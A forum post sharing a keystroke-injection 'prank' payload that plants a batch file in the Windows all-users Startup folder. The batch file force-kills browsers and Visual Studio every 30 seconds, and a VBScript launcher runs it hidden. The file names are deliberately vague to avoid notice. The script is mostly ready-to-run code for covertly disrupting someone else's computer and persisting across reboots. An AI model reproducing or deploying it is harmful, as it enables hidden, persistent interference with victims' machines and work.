Jump to content

[Payload] Kill Process Duck Script Prank


overwraith

Recommended Posts

The following is a prank script that runs a batch loop that kills processes that you specify. A key characteristic of this particular script is that it uses a vbs script to run the batch script silently. When I was making this script I was surprised to learn that newer OSes do not run batch scripts silently. I got the vbs script someplace else, but I don't remember where. I have seen this script online on several websites though. The naming conventions of the files produced is intentionally ambiguous, ex...a.bat, b.vbs.

CONTROL ESC
DELAY 200
STRING cmd
ENTER
REM A Different directory in case the second one is inaccessable
DELAY 1000
STRING cd %userprofile%\Downloads\
ENTER
DELAY 1000
STRING cd C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
ENTER
DELAY 100
REM Delete batch file if already exists
STRING erase /Q a.bat
ENTER
REM Make the batch file
STRING copy con a.bat
ENTER
DELAY 100
STRING @echo off
ENTER
STRING :Start
ENTER
STRING taskkill /f /im "iexplore.exe"
ENTER
STRING taskkill /f /im "firefox.exe"
ENTER
STRING taskkill /f /im "devenv.exe"
ENTER
STRING taskkill /f /im "pennote.exe"
ENTER
STRING timeout /t 30
ENTER
STRING Goto Start
ENTER
CONTROL Z
ENTER
DELAY 100
REM Only way to run a batch file silently on vista/Win7
REM Delete vbs file if already exists
STRING erase /Q b.vbs
ENTER
STRING copy con b.vbs
ENTER
STRING Set WshShell = CreateObject("WScript.Shell")
ENTER
STRING WshShell.Run chr(34) & "a.bat" & Chr(34), 0
ENTER
STRING Set WshShell = Nothing
CONTROL Z
ENTER
STRING b.vbs
ENTER
DELAY 100
STRING EXIT
ENTER
Edited by midnitesnake
corrected formatting
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...